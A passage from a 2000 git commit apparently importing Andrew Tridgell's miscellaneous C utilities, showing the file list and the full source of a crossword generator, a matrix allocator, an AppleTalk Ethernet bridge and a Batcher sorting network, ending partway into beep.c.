junk code import
authortridge <>
Mon, 9 Oct 2000 15:16:17 +0000 (15:16 +0000)
committertridge <>
Mon, 9 Oct 2000 15:16:17 +0000 (15:16 +0000)
62 files changed:
angry.c [new file with mode: 0644]
any_matrix.c [new file with mode: 0644]
atalk_bridge.c [new file with mode: 0644]
batchers.c [new file with mode: 0644]
beep.c [new file with mode: 0644]
bitcount.c [new file with mode: 0644]
bmg.c [new file with mode: 0644]
bmg2.c [new file with mode: 0644]
bmgmain.c [new file with mode: 0644]
bstree.c [new file with mode: 0644]
byteorder.h [new file with mode: 0644]
cache.c [new file with mode: 0644]
capconvert.c [new file with mode: 0644]
capq.c [new file with mode: 0644]
checkcode.c [new file with mode: 0644]
crash.c [new file with mode: 0644]
critical.c [new file with mode: 0644]
detect.c [new file with mode: 0644]
dosstrip.c [new file with mode: 0644]
findbroken.c [new file with mode: 0644]
findlarge.c [new file with mode: 0644]
fn.c [new file with mode: 0644]
gcc_exploit [new file with mode: 0755]
hyper.c [new file with mode: 0644]
irq.c [new file with mode: 0644]
kgprof.c [new file with mode: 0644]
lcmp.c [new file with mode: 0644]
lls.c [new file with mode: 0644]
lock_inherit.c [new file with mode: 0644]
locktest.c [new file with mode: 0644]
mangle.c [new file with mode: 0644]
memcopy.c [new file with mode: 0644]
memdump.c [new file with mode: 0644]
memtest.c [new file with mode: 0644]
netpipe.c [new file with mode: 0644]
nettest.c [new file with mode: 0644]
ntoa.c [new file with mode: 0644]
pause.c [new file with mode: 0644]
pipes.c [new file with mode: 0644]
pipespeed.c [new file with mode: 0644]
preload.c [new file with mode: 0644]
preload_shmat.c [new file with mode: 0644]
pscript.c [new file with mode: 0644]
pwd.c [new file with mode: 0644]
pwlcrack.c [new file with mode: 0644]
semspeed.c [new file with mode: 0644]
sethostid.c [new file with mode: 0644]
shm_sample.c [new file with mode: 0644]
shm_size.c [new file with mode: 0644]
sizeof.c [new file with mode: 0644]
snoop2cap.c [new file with mode: 0644]
socklib/Makefile [new file with mode: 0644]
socklib/sock_sink [new file with mode: 0755]
socklib/sock_sink.c [new file with mode: 0644]
socklib/sock_source [new file with mode: 0755]
socklib/sock_source.c [new file with mode: 0644]
socklib/socklib.c [new file with mode: 0644]
socklib/socklib.h [new file with mode: 0644]
socklog.c [new file with mode: 0644]
spamstopper.c [new file with mode: 0644]
speed.c [new file with mode: 0644]
sshtest.c [new file with mode: 0644]

diff --git a/angry.c b/angry.c
new file mode 100644 (file)
index 0000000..9b08869
--- /dev/null
+++ b/angry.c
@@ -0,0 +1,607 @@
+/* written by Andrew Tridgell (May 1992) */
+
+
+#include <stdio.h>
+#include <malloc.h>
+#include <varargs.h>
+#include <stdlib.h>
+#include <time.h>
+
+int xsize=0;
+int ysize=0;
+
+char **grid;
+char *wordfile;
+char **wordlist=NULL;
+int num_words=0;
+
+enum _Direction{ACROSS,DOWN};
+typedef enum _Direction Direction; 
+typedef int BOOL;
+#define True 1
+#define False 0
+#define CONST const
+#define LONG_STRING_LENGTH 200
+
+char *strtidy();
+void read_a_line();
+char *my_fgets();
+
+
+#ifndef MSDOS
+#define randomize() srand(time(NULL))
+#define ctrlbrk(fn)
+#define BLACKSQUARE ' '
+#else
+#define BLACKSQUARE 'Û'
+#endif
+
+/*******************************************************************
+create a matrix of any dimension. The return must be cast correctly.
+********************************************************************/
+void *any_matrix(va_alist)
+va_dcl
+{
+int dimension;
+int el_size;
+int *dims=NULL;
+void **mat;
+int i,j,size,ptr_size,ppos,prod;
+int padding;
+void *next_ptr;
+va_list ap;
+
+/* first gather the arguments */
+va_start(ap);
+dimension = va_arg(ap, int);
+el_size = va_arg(ap, int);
+
+
+if (dimension <= 0) return(NULL);
+if (el_size <= 0) return(NULL);
+
+dims = (int *)malloc(dimension * sizeof(int));
+if (dims == NULL) return(NULL);
+for (i=0;i<dimension;i++)
+       dims[i] = va_arg(ap, int);
+va_end(ap);
+
+/* now we've disected the arguments we can go about the real business of
+creating the matrix */
+
+/* calculate how much space all the pointers will take up */
+ptr_size = 0;
+for (i=0;i<(dimension-1);i++)
+       {
+       prod=sizeof(void *);
+       for (j=0;j<=i;j++) prod *= dims[j];
+       ptr_size += prod;
+       }
+
+/* padding overcomes potential alignment errors */
+padding = (el_size - (ptr_size % el_size)) % el_size;
+
+/* now calculate the total memory taken by the array */
+{
+prod=el_size;
+for (i=0;i<dimension;i++) prod *= dims[i];
+size = prod + ptr_size + padding;
+}
+
+/* allocate the matrix memory */
+mat = (void **)malloc(size);
+
+if (mat == NULL)
+       {
+       fprintf(stdout,"Error allocating %d dim matrix of size %d\n",dimension,size);
+       free(dims);
+       return(NULL);
+       }
+
+/* now fill in the pointer values */
+next_ptr = (void *)&mat[dims[0]];
+ppos = 0;
+prod = 1;
+for (i=0;i<(dimension-1);i++)
+{
+int skip;
+if (i == dimension-2) 
+  {
+    skip = el_size*dims[i+1];
+    next_ptr = (void *)(((char *)next_ptr) + padding); /* add in the padding */
+  }
+else
+  skip = sizeof(void *)*dims[i+1];
+
+for (j=0;j<(dims[i]*prod);j++)
+  {
+    mat[ppos++] = next_ptr;
+    next_ptr = (void *)(((char *)next_ptr) + skip);
+  }
+prod *= dims[i];
+}
+
+free(dims);
+return((void *)mat);
+}
+
+
+/*******************************************************************
+return a random number
+********************************************************************/
+int random_num(void)
+{
+return(rand());
+}
+
+
+/*******************************************************************
+this returns the number of lines in a text file
+********************************************************************/
+int num_text_lines(CONST char *fname)
+{
+FILE *file;
+int count = 0;
+char buf[2000];
+
+file = fopen(fname,"r");
+if (!file)
+  return(0);
+
+while (!feof(file))
+  {
+    read_a_line(buf,2000,file);
+    if (*buf) count++;
+  }
+
+fclose(file);
+return(count);
+}
+
+/*******************************************************************
+read a line from a file. If the line is of 0 length then read another
+********************************************************************/
+void read_a_line(char *buf,int maxlen,FILE *file)
+{
+my_fgets(buf,maxlen,file);
+if (strlen(buf) == 0)
+       my_fgets(buf,maxlen,file);
+}
+
+/*******************************************************************
+like fgets but remove trailing CR or LF
+********************************************************************/
+char *my_fgets(char *s,int n,FILE *stream)
+{
+char *ret;
+
+ret = fgets(s,n,stream);
+if (ret == NULL) 
+  {
+    *s = 0;
+    return(NULL);
+  }
+
+return(strtidy(s,"\n\r "));
+}
+
+/*******************************************************************
+remove specified chars from front and back of a string 
+********************************************************************/
+char *strtidy(char *str,CONST char *chars)
+{
+int len=strlen(str);
+while ((len > 0) && (strchr(chars,*str) != NULL))
+       {
+       memcpy(str,&str[1],len);
+       len--;
+       }
+while ((len > 0) && (strchr(chars,str[len-1]) != NULL))
+       {
+       str[len-1]=0;
+       len--;
+       }
+return(str);
+}
+
+
+
+
+/*******************************************************************
+load a list of words
+********************************************************************/
+char **load_word_list(char *fname,int *num)
+{
+FILE *file;
+int i;
+char line[LONG_STRING_LENGTH];
+char **list;
+*num = num_text_lines(fname);
+if (*num < 1)
+  return(NULL);
+
+list = (char **)malloc(sizeof(char *)*(*num));
+
+file = fopen(fname,"r");
+for (i=0;i<(*num);i++)
+  {
+    read_a_line(line,LONG_STRING_LENGTH,file);
+    list[i] = (char *)malloc(strlen(line)+1);
+    strcpy(list[i],line);
+  }
+fclose(file);
+
+return(list);
+}
+
+/*******************************************************************
+place a word
+********************************************************************/
+void PlaceWord(char *word,int i,int j,Direction dir)
+{
+int k;
+int len=strlen(word);
+if (dir == ACROSS)
+  {
+    for (k=0;k<len;k++)
+      grid[i+k][j] = word[k];
+  }
+else
+  {
+    for (k=0;k<len;k++)
+      grid[i][j+k] = word[k];
+  }
+}
+
+/*******************************************************************
+determine if a word is legal in a position
+********************************************************************/
+BOOL Legal(char *word,int i,int j,Direction dir)
+{
+int len=strlen(word);
+if (dir == ACROSS)
+  {
+    int k;
+    if (i+len > xsize) return(False);
+    if ((i != 0) && grid[i-1][j]) return(False);
+    if (((i+len) != xsize) && grid[i+len][j]) return(False);
+    for (k=0;k<len;k++)
+      if (grid[i+k][j] && (grid[i+k][j] != word[k])) return(False);
+    for (k=0;k<len;k++)
+      {
+       if ((j != 0) && grid[i+k][j-1] && !grid[i+k][j]) return(False);
+       if ((j != (ysize-1)) && grid[i+k][j+1] && !grid[i+k][j]) return(False);
+      }
+  }
+else
+  {
+    int k;
+    if (j+len > ysize) return(False);
+    if ((j != 0) && grid[i][j-1]) return(False);
+    if (((j+len) != ysize) && grid[i][j+len]) return(False);
+    for (k=0;k<len;k++)
+      if (grid[i][j+k] && (grid[i][j+k] != word[k])) return(False);
+    for (k=0;k<len;k++)
+      {
+       if ((i != 0) && grid[i-1][j+k] && !grid[i][j+k]) return(False);
+       if ((i != (xsize-1)) && grid[i+1][j+k] && !grid[i][j+k]) return(False);
+      }
+  }
+return(True);
+}
+
+/*******************************************************************
+score a word in a position
+********************************************************************/
+int Score(char *word,int i,int j,Direction dir)
+{
+int len=strlen(word);
+int score=0;
+if (dir == ACROSS)
+  {
+    int k;
+    for (k=0;k<len;k++)
+      if (grid[i+k][j])
+       {
+         if ((k == 0) || (k == (len-1))) 
+           score += 2;
+         else
+           score += 3;
+       }
+    if ((j != 0) && (j != (ysize-1))) score++;
+  }
+else
+  {
+    int k;
+    for (k=0;k<len;k++)
+      if (grid[i][j+k])
+       {
+         if ((k == 0) || (k == (len-1))) 
+           score += 4;
+         else
+           score += 6;
+       }
+    if ((i != 0) && (i != (xsize-1))) score++;
+  }
+return(score);
+}
+
+Direction last_dir=ACROSS;
+
+
+/*******************************************************************
+find the best position for a word
+********************************************************************/
+BOOL BestPosition(char *word,int *besti,int *bestj,Direction *dir)
+{
+int best;
+int i,j;
+Direction d;
+best = -1;
+for (i=0;i<xsize;i++)
+  for (j=0;j<ysize;j++)
+    {
+      int s;
+      d = ACROSS;
+      if (Legal(word,i,j,d))
+       {
+         s = Score(word,i,j,d);
+         if (last_dir != d) s++;
+         if (s > best || ((s == best) && ((random_num()%(xsize*ysize/4))!=0)))
+           {
+             best = s;
+             *besti = i;
+             *bestj = j;
+             *dir = d;
+           }
+       }
+      d = DOWN;
+      if (Legal(word,i,j,d))
+       {
+         s = Score(word,i,j,d);
+         if (last_dir != d) s++;
+         if (s > best || ((s == best) && ((random_num()%(xsize*ysize/4))!=0)))
+           {
+             best = s;
+             *besti = i;
+             *bestj = j;
+             *dir = d;
+           }
+       }
+    }
+return(best >= 0);
+}
+
+/*******************************************************************
+zero a crossword
+********************************************************************/
+void zero_crossword(void)
+{
+int i,j;
+for (i=0;i<xsize;i++)
+  for (j=0;j<ysize;j++)
+    grid[i][j] = 0;
+}
+
+
+/*******************************************************************
+build a crossword
+********************************************************************/
+int BuildCrossword(char **list,int num)
+{
+int i,j;
+Direction d;
+int remaining=num;
+int bad=0;
+BOOL *used = (BOOL *)malloc(sizeof(BOOL)*num);
+for (i=0;i<num;i++)
+  used[i] = False;
+zero_crossword();
+while (remaining > 0)
+  {
+    int choose=-1;
+    while (choose==-1)
+      {
+       choose = random_num() % num;
+       if (used[choose]) choose=-1;
+      }
+    used[choose] = True;
+    remaining--;
+    if (BestPosition(list[choose],&i,&j,&d))
+      PlaceWord(list[choose],i,j,d);
+    else
+      bad++;
+  }
+return(num-bad);
+}
+
+/*******************************************************************
+build a crossword
+********************************************************************/
+int BuildBestCrossword(char **list,int num)
+{
+int i,j;
+Direction d;
+int remaining=num;
+int bad=0;
+BOOL *used = (BOOL *)malloc(sizeof(BOOL)*num);
+int *scores = (int *)malloc(sizeof(int)*num);
+
+for (i=0;i<num;i++)
+  used[i] = False;
+
+zero_crossword();
+while (remaining > 0)
+  {
+    int n;
+    int choose;
+    for (i=0;i<num;i++)
+      scores[i] = -1;
+    for (n=0;n<num;n++)
+      if (!used[n] && BestPosition(list[n],&i,&j,&d))
+       scores[n] = Score(list[n],i,j,d);
+    {
+      int numbest=0,bestscore=scores[0];
+      int k;
+      for (n=0;n<num;n++)
+       {
+         if (scores[n] == bestscore) numbest++;
+         if (scores[n] > bestscore)
+           {
+             bestscore = scores[n];
+             numbest = 1;
+           }
+       }
+      if (bestscore < 0) return(num-remaining);
+      k = random_num() % numbest;
+      numbest=0;
+      for (n=0;n<num;n++)
+       {
+         if (scores[n] == bestscore) 
+           {
+             if (numbest == k) choose=n;
+             numbest++;
+           }
+       }
+    }
+    BestPosition(list[choose],&i,&j,&d);
+    PlaceWord(list[choose],i,j,d);
+    used[choose] = True;
+    remaining--;
+  }
+return(num-remaining);
+}
+
+/*******************************************************************
+display the crossword
+********************************************************************/
+void DisplayCrossword(FILE *f)
+{
+int i,j;
+for (j=0;j<ysize;j++)
+  {
+    for (i=0;i<xsize;i++)
+      {
+       if (grid[i][j])
+         fputc(grid[i][j],f);
+       else
+         fputc(BLACKSQUARE,f);
+      }
+    fputc('\n',f);
+  }
+putchar('\n');
+}
+
+
+/*******************************************************************
+save the crossword in a pzl file
+********************************************************************/
+void SavePuzzle(char *fname)
+{
+FILE *f = fopen(fname,"w");
+int i,j;
+if (!f) return;
+
+fprintf(f,"%cXWORD0%s%c%c%2d%2d",42,"Sue2",3,3,xsize,ysize);
+
+for (j=0;j<ysize;j++)
+    for (i=0;i<xsize;i++)
+      fprintf(f,"%c %c",(grid[i][j]?grid[i][j]:' '),3);
+
+fclose(f);
+}
+
+
+/*******************************************************************
+save the crossword in a .cwd file (for ccwin15.zip)
+********************************************************************/
+void SaveCross(char *fname)
+{
+FILE *f = fopen(fname,"w");
+int i,j;
+char head[10];
+
+if (!f) return;
+
+memset(head,0,10);
+head[0] = 'j';
+head[4] = '\n';
+head[6] = 1;
+head[8] = xsize;
+head[9] = ysize;
+
+fwrite(head,1,10,f);
+
+for (j=0;j<ysize;j++)
+  for (i=0;i<xsize;i++)
+    fprintf(f,"%c",grid[i][j]?(char)toupper(grid[i][j]):0333);
+
+head[0] = 0;
+head[1] = 0;
+
+fwrite(head,1,2,f);
+
+fclose(f);
+}
+
+
+void copy_to(char **g)
+{
+int i,j;
+for (i=0;i<xsize;i++)
+for (j=0;j<ysize;j++)
+       g[i][j] = grid[i][j];
+}
+
+int cbreak(void)
+{
+return(0);
+}
+
+int main(int argc,char *argv[])
+{
+char **bestgrid;
+int best=-1;
+ctrlbrk(cbreak);
+
+randomize();
+if (argc < 4)
+  {
+    printf("angry: Xsize Ysize WordFile\n");
+    return(0);
+  }
+xsize = atoi(argv[1]);
+ysize = atoi(argv[2]);
+wordfile = argv[3];
+
+grid = (char **)any_matrix(2,sizeof(char),xsize,ysize);
+bestgrid = (char **)any_matrix(2,sizeof(char),xsize,ysize);
+if (!grid || !bestgrid)
+  {
+    printf("invalid xsize or ysize\n");
+    return(0);
+  }
+
+wordlist = load_word_list(wordfile,&num_words);
+while (True)
+  {
+  int n;
+    n = BuildBestCrossword(wordlist,num_words);
+    putchar('.');
+    if (n > best)
+       {
+       best = n;
+       copy_to(bestgrid);
+       printf("\nplaced %d words\n",best);
+       {
+       FILE *f = fopen("best.doc","w");
+       DisplayCrossword(stdout);
+       DisplayCrossword(f);
+       SavePuzzle("best.pzl");
+       SaveCross("best.cwd");
+       fclose(f);
+       }
+       }
+    fflush(stdout);
+  }
+}
diff --git a/any_matrix.c b/any_matrix.c
new file mode 100644 (file)
index 0000000..3b3de3a
--- /dev/null
@@ -0,0 +1,98 @@
+#include <stdio.h>
+#include <malloc.h>
+#include <stdarg.h>
+
+/*******************************************************************
+create a matrix of any dimension. The return must be cast correctly.
+********************************************************************/
+void *any_matrix(int dimension, int el_size, ...)
+{
+       int *dims=NULL;
+       void **mat;
+       int i,j,size,ptr_size,ppos,prod;
+       int padding;
+       void *next_ptr;
+       va_list ap;
+       
+       if (dimension <= 0) return(NULL);
+       if (el_size <= 0) return(NULL);
+       
+       dims = (int *)malloc(dimension * sizeof(int));
+       if (dims == NULL) return(NULL);
+
+       /* gather the arguments */
+       va_start(ap, el_size);
+       for (i=0;i<dimension;i++) {
+               dims[i] = va_arg(ap, int);
+       }
+       va_end(ap);
+       
+       /* now we've disected the arguments we can go about the real
+          business of creating the matrix */
+       
+       /* calculate how much space all the pointers will take up */
+       ptr_size = 0;
+       for (i=0;i<(dimension-1);i++) {
+               prod=sizeof(void *);
+               for (j=0;j<=i;j++) prod *= dims[j];
+               ptr_size += prod;
+       }
+
+       /* padding overcomes potential alignment errors */
+       padding = (el_size - (ptr_size % el_size)) % el_size;
+       
+       /* now calculate the total memory taken by the array */
+       prod=el_size;
+       for (i=0;i<dimension;i++) prod *= dims[i];
+       size = prod + ptr_size + padding;
+
+       /* allocate the matrix memory */
+       mat = (void **)malloc(size);
+
+       if (mat == NULL) {
+               fprintf(stdout,"Error allocating %d dim matrix of size %d\n",dimension,size);
+               free(dims);
+               return(NULL);
+       }
+
+       /* now fill in the pointer values */
+       next_ptr = (void *)&mat[dims[0]];
+       ppos = 0;
+       prod = 1;
+       for (i=0;i<(dimension-1);i++) {
+               int skip;
+               if (i == dimension-2) {
+                       skip = el_size*dims[i+1];
+                       next_ptr = (void *)(((char *)next_ptr) + padding); /* add in the padding */
+               } else {
+                       skip = sizeof(void *)*dims[i+1];
+               }
+
+               for (j=0;j<(dims[i]*prod);j++) {
+                       mat[ppos++] = next_ptr;
+                       next_ptr = (void *)(((char *)next_ptr) + skip);
+               }
+               prod *= dims[i];
+       }
+
+       free(dims);
+       return((void *)mat);
+}
+
+
+
+
+/*
+  double ****x;
+  double ***y;
+
+  x = (double ****)any_matrix(4, sizeof(double), 3, 6, 8, 2);
+
+  x[0][3][4][1] = 5.0;
+
+  y = x[1];
+
+  y[2][3][4] = 7.0;
+
+  free(x);
+*/
diff --git a/atalk_bridge.c b/atalk_bridge.c
new file mode 100644 (file)
index 0000000..952f69e
--- /dev/null
@@ -0,0 +1,424 @@
+/* simple appletalk bridge for rodney
+
+   Andrew Tridgell 1997
+*/
+
+#include <fcntl.h>
+#include <errno.h>
+#include <stdio.h>
+#include <math.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <limits.h>
+#include <signal.h>
+#include <string.h>
+#include <netdb.h>
+#include <errno.h>
+#include <endian.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <net/if.h>
+#include <netinet/in.h>
+#include <netinet/ip.h>
+#include <netinet/udp.h>
+#include <arpa/nameser.h>
+#include <arpa/inet.h>
+#include <linux/if_ether.h>
+
+#define DEBUG 0
+
+#define MAX_PACKET_LENGTH 1600 
+#define HISTORY_LENGTH 20
+
+/* we should use /etc/ethers but I'm too lazy */
+#if 0
+#define HUB    "00:00:0C:13:6F:18"
+#else
+#define HUB    "00:00:C0:81:93:8E"
+#endif
+#define ETH0   "00:00:C0:1B:A2:B8"
+#define ETH1   "00:00:C0:6A:71:99"
+
+static int eth_fd0 = -1;
+static int eth_fd1 = -1;
+
+static char *if_eth0 = "eth0"; /* name of ethernet interface */
+static char *if_eth1 = "eth1"; /* name of ethernet interface */
+
+static char data[MAX_PACKET_LENGTH]; 
+
+static unsigned char hub_addr[ETH_ALEN];
+static unsigned char eth0_addr[ETH_ALEN];
+static unsigned char eth1_addr[ETH_ALEN];
+
+static unsigned history[HISTORY_LENGTH];
+static int history_pointer;
+
+static unsigned eth0_counter, eth1_counter, dup_counter, ip_counter;
+
+/* parse an ethernet address from string format to a byte array */
+static void parse_ether(unsigned char *addr, char *addr_str)
+{
+       unsigned x[6];
+       if (sscanf(addr_str, "%x:%x:%x:%x:%x:%x",
+                  &x[0], &x[1], &x[2], 
+                  &x[3], &x[4], &x[5]) != 6) {
+               fprintf(stderr,"couldn't parse %s\n", addr_str);
+       } 
+       addr[0] = x[0]; addr[1] = x[1]; addr[2] = x[2];
+       addr[3] = x[3]; addr[4] = x[4]; addr[5] = x[5];
+}
+
+/* pretty-print an ethernet address */
+static char *ether_str(unsigned char *addr)
+{
+       static char s[2][30];
+       static int i;
+       char *ret;
+
+       ret = s[i];
+
+       sprintf(ret,"%02x:%02x:%02x:%02x:%02x:%02x",
+               addr[0], addr[1], addr[2], 
+               addr[3], addr[4], addr[5]);
+
+       i = (i+1)%2;
+
+       return ret;
+}
+
+
+/* fetch the protocol field in a ethernet or 802 packet */
+static unsigned get_protocol(char *data)
+{
+       unsigned short proto;
+
+       /* its either at offset 12 or 20 */
+       proto = *(unsigned short *)(data + 12);
+       proto = ntohs(proto);
+
+       if (proto < 1500) {
+               /* it must be an 802 packet */
+               proto = *(unsigned short *)(data + 20);
+               proto = ntohs(proto);           
+       }
+       
+       return proto;
+}
+
+/* a really simple checksum routine, probably quite hopeless */
+static unsigned csum(char *data,int len)
+{
+       unsigned sum=0;
+       int i;
+       for (i=0;i<len;i++)
+               sum ^= data[i] << ((i*15) % 28);
+       return sum;
+}
+
+
+/* close the ethernet fd and set it back to non-promiscuous */
+static void eth_close(int fd, char *interface)
+{
+       struct ifreq ifr;
+
+       strcpy(ifr.ifr_name, interface);
+       if(ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) {
+               perror("SIOCGIFFLAGS");
+               return;
+       }
+
+       ifr.ifr_flags &= ~IFF_PROMISC;
+       if(ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) {
+               perror("SIOCSIFFLAGS");
+               return;
+       }
+
+       close(fd);
+}
+
+
+
+/* open an ethernet socket for the requested protocol and
+   return a file descriptor that can be used for reading/writing packets
+   to that interface
+   pstr specifies what packet types to accept
+ */
+static int eth_open(char *interface, char *pstr)
+{
+       int fd;
+       int protocol = -1;
+       struct ifreq ifr;
+
+       if (!strcmp(pstr,"802.2")) protocol=ETH_P_802_2;
+       if (!strcmp(pstr,"802.3")) protocol=ETH_P_802_3;
+       if (!strcmp(pstr,"etherII")) protocol=ETH_P_IPX;
+       if (!strcmp(pstr,"echo")) protocol=ETH_P_ECHO;
+       if (!strcmp(pstr,"x25")) protocol=ETH_P_X25;
+       if (!strcmp(pstr,"arp")) protocol=ETH_P_ARP;
+       if (!strcmp(pstr,"atalk")) protocol=ETH_P_ATALK;
+       if (!strcmp(pstr,"aarp")) protocol=ETH_P_AARP;
+       if (!strcmp(pstr,"all")) protocol=ETH_P_ALL;
+
+       if (protocol == -1) {
+               printf("Unknown protocol [%s]\n",pstr);
+               return -1;
+       }
+
+       if ((fd = socket(AF_INET, SOCK_PACKET, htons(protocol)))<0) {
+               perror("Error opening local ethernet socket\n");
+               return -1;
+       }
+
+       strcpy(ifr.ifr_name, interface);
+       if(ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) {
+               perror("SIOCGIFFLAGS");
+               return -1;
+       }
+
+       ifr.ifr_flags |= IFF_PROMISC;
+       if(ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) {
+               perror("SIOCSIFFLAGS");
+               return -1;
+       }
+
+       return fd;
+}
+
+
+static int eth_write(int fd, char *data, int len,char *iface)
+{
+       struct sockaddr dst;
+
+       dst.sa_family = AF_INET;
+       strcpy(dst.sa_data,iface);
+
+       return sendto(fd,data,len,0,&dst,sizeof(dst));
+}
+
+static int eth_read(int fd, char *buf)
+{
+       struct sockaddr_in from;
+       size_t fromlen = sizeof(from);
+
+       return recvfrom(fd, buf, MAX_PACKET_LENGTH, 0,
+                       (struct sockaddr *) &from, &fromlen);
+}
+
+static void Usage(void)
+{
+       printf("Usage: \natalk_bridge\n\n");
+       printf("atalk_bridge [-f fr] [-0 eth0] [-1 eth1] port\n\n");
+       printf("fr = Ethernet frame type to bridge. Default is 802.2.\n");
+       printf("     Known values are:\n");
+       printf("         802.2 802.3 etherII echo x25 arp atalk aarp all\n");
+       printf("if = Network interface to read from (default is eth0)\n");
+}
+
+
+void sig_int(int sig)
+{
+       eth_close(eth_fd0, if_eth0);
+       eth_close(eth_fd1, if_eth1);
+       printf("Wrote %d packets to eth0\n", eth0_counter);
+       printf("Wrote %d packets to eth1\n", eth1_counter);
+       printf("%d duplicate packets dropped\n", dup_counter);
+       printf("%d IP packets processed\n", ip_counter);
+       exit(0);
+}
+
+
+/* this is the guts of the program. A packet has arrived and we need to decide
+   what to do with it */
+static void process_packet(char *data, int len)
+{
+       int i;
+       unsigned sum;
+       struct ethhdr *hdr;
+       unsigned protocol;
+
+       if (len <= 0) return;
+
+       sum = csum(data, len);
+
+       /* work out where it is from */
+       hdr = (struct ethhdr *)data;
+       protocol = get_protocol(data);
+
+#if DEBUG
+       printf("packet %s -> %s len=%4d proto=%04x sum=%08x  ",
+              ether_str(hdr->h_source), 
+              ether_str(hdr->h_dest), 
+              len, protocol, sum);
+#endif
+
+       /* if the packet is from or to us then it makes no sense
+          to bridge it */
+       if (memcmp(hdr->h_source, eth0_addr, ETH_ALEN) == 0 ||
+           memcmp(hdr->h_source, eth1_addr, ETH_ALEN) == 0 ||
+           memcmp(hdr->h_dest, eth0_addr, ETH_ALEN) == 0 ||
+           memcmp(hdr->h_dest, eth1_addr, ETH_ALEN) == 0) {
+               /* its from us, drop it */
+#if DEBUG
+               printf("own packet\n");
+#endif
+               return;
+       }
+
+       /* don't process any ARP or RARP packets */
+       if (protocol == ETH_P_ARP || protocol == ETH_P_RARP) {
+#if DEBUG
+               printf("ARP\n");
+#endif
+               return;
+       }
+
+       /* initially process IP packets to and from the hub, at
+           least until the bridge gets established. Once the arp tables
+          get flushed we will just be able to drop all these packets */
+       if (protocol == ETH_P_IP &&
+           memcmp(hdr->h_source, hub_addr, ETH_ALEN) == 0 &&
+           memcmp(hdr->h_dest,   hub_addr, ETH_ALEN) == 0) {
+#if DEBUG
+               printf("IP\n");
+#endif
+               return;
+       }
+
+       /* is it a duplicate? */
+       for (i=0;i<HISTORY_LENGTH;i++)
+               if (sum == history[i]) {
+#if DEBUG
+                       printf("duplicate %d\n", i);
+#endif
+                       history[i] = 0;
+                       dup_counter++;
+                       return;
+               }
+       history[history_pointer] = sum;
+       history_pointer = (history_pointer+1) % HISTORY_LENGTH;
+
+       if (protocol == ETH_P_IP) {
+               printf("packet %s -> %s len=%4d proto=%04x sum=%08x\n",
+                      ether_str(hdr->h_source), 
+                      ether_str(hdr->h_dest), 
+                      len, protocol, sum);
+               ip_counter++;
+       }
+                       
+       if (memcmp(hdr->h_source, hub_addr, ETH_ALEN) == 0) {
+               /* its from the hub (presumed to be on eth1). Send it to
+                  eth0 */
+#if DEBUG
+               printf("to eth0\n");
+#endif
+               printf("packet %s -> %s len=%4d proto=%04x sum=%08x\n",
+                      ether_str(hdr->h_source), 
+                      ether_str(hdr->h_dest), 
+                      len, protocol, sum);
+               eth0_counter++;
+               eth_write(eth_fd0, data, len, if_eth0);
+       } else {
+               /* its from a host on eth1, pass it on to eth1 */
+#if DEBUG
+               printf("to eth1\n");
+#endif
+               eth1_counter++;
+               eth_write(eth_fd1, data, len, if_eth1);
+       }
+}
+
+
+int main(int argc, char *argv[])
+{
+       int i;
+       char *pstr = "all";
+
+       if(getuid()) {
+               fprintf(stderr, "must be superuser\n");
+               exit(1);
+       }
+
+       fprintf(stderr,"atalk_bridge by Andrew Tridgell\n");
+
+       /* Process command-line args */
+       for(i=1; i<argc && argv[i][0]=='-'; ++i) switch(argv[i][1])
+               {
+               case 'f':
+                  /* Selected frame types - from linux/if_ether.h */
+                  pstr = argv[++i];
+                  break;
+               case '0': if_eth0 = argv[++i]; break;
+               case '1': if_eth1 = argv[++i]; break;
+               default:
+                       Usage();
+                       break;
+               }
+
+       parse_ether(hub_addr, HUB);
+       parse_ether(eth0_addr, ETH0);
+       parse_ether(eth1_addr, ETH1);
+
+       eth_fd0 = eth_open(if_eth0, pstr);
+       if (eth_fd0 == -1) {
+               fprintf(stderr,"can't open %s\n", if_eth0);
+               exit(1);
+       }
+
+       eth_fd1 = eth_open(if_eth1, pstr);
+       if (eth_fd1 == -1) {
+               fprintf(stderr,"can't open %s\n", if_eth1);
+               eth_close(eth_fd0, if_eth0);
+               exit(1);
+       }
+
+       signal(SIGINT, sig_int);
+
+       printf("bridge started\n");
+
+       while (1) {
+               fd_set  rfd;
+               int len, no;
+               struct timeval tv;
+
+               FD_ZERO(&rfd);
+               FD_SET(eth_fd0, &rfd);
+               FD_SET(eth_fd1, &rfd);
+
+               tv.tv_sec = 2;
+               tv.tv_usec = 0;
+
+               no = select(32, &rfd, NULL, NULL, &tv);
+
+               if (no == -1 && errno != EAGAIN) {
+                       printf("select error\n");
+                       break;
+               }
+
+               if (no == 0) {
+                       /* zero the history */
+                       memset(history, 0, sizeof(history));
+                       continue;
+               }
+
+               /* is anything happening on the ethernet? */
+               if (FD_ISSET(eth_fd0, &rfd)) {
+                       len = eth_read(eth_fd0, data);
+                       process_packet(data, len);
+               }
+
+#if 0
+               /* this is commented out as it seems that we get all
+                   packets on both file sockets! */
+               if (FD_ISSET(eth_fd1, &rfd)) {
+                       len = eth_read(eth_fd1, data);
+                       process_packet(data, len);
+               }
+#endif
+       }
+
+       return 0;
+}
diff --git a/batchers.c b/batchers.c
new file mode 100644 (file)
index 0000000..9ea29ef
--- /dev/null
@@ -0,0 +1,33 @@
+static void batchers_sort(int baseP,int N,void (*makesmaller)())
+{
+  int  p, initq, q, r, d, x;
+
+  for (p=1; (1<<(p+1))<=N+1; p++);
+  p = 1<<p;
+  
+  for (initq=p; p>0; p/=2) 
+    {
+      q = initq;
+      r = 0;
+      d = p;
+      do 
+       {
+         for (x=0; x<N-d; x++)
+           if ( (x & p) == r) 
+             makesmaller(baseP+x,baseP+x+d);
+         d = q - p;
+         q /= 2;
+         r = p;
+       } while (q != p/2);
+    }
+}
+
+void makesmaller(int n1,int n2)
+{
+  printf("%d %d\n",n1,n2);
+}
+
+main(int argc,char *argv[])
+{
+  batchers_sort(0,atoi(argv[1]),makesmaller);
+}
diff --git a/beep.c b/beep.c
new file mode 100644 (file)
index 0000000..602e2ce
--- /dev/null
+++ b/beep.c
@@ -0,0 +1,14 @@
+#include <stdio.h>
+
+main(int argc,char *argv[])
+{
+  int count=1;
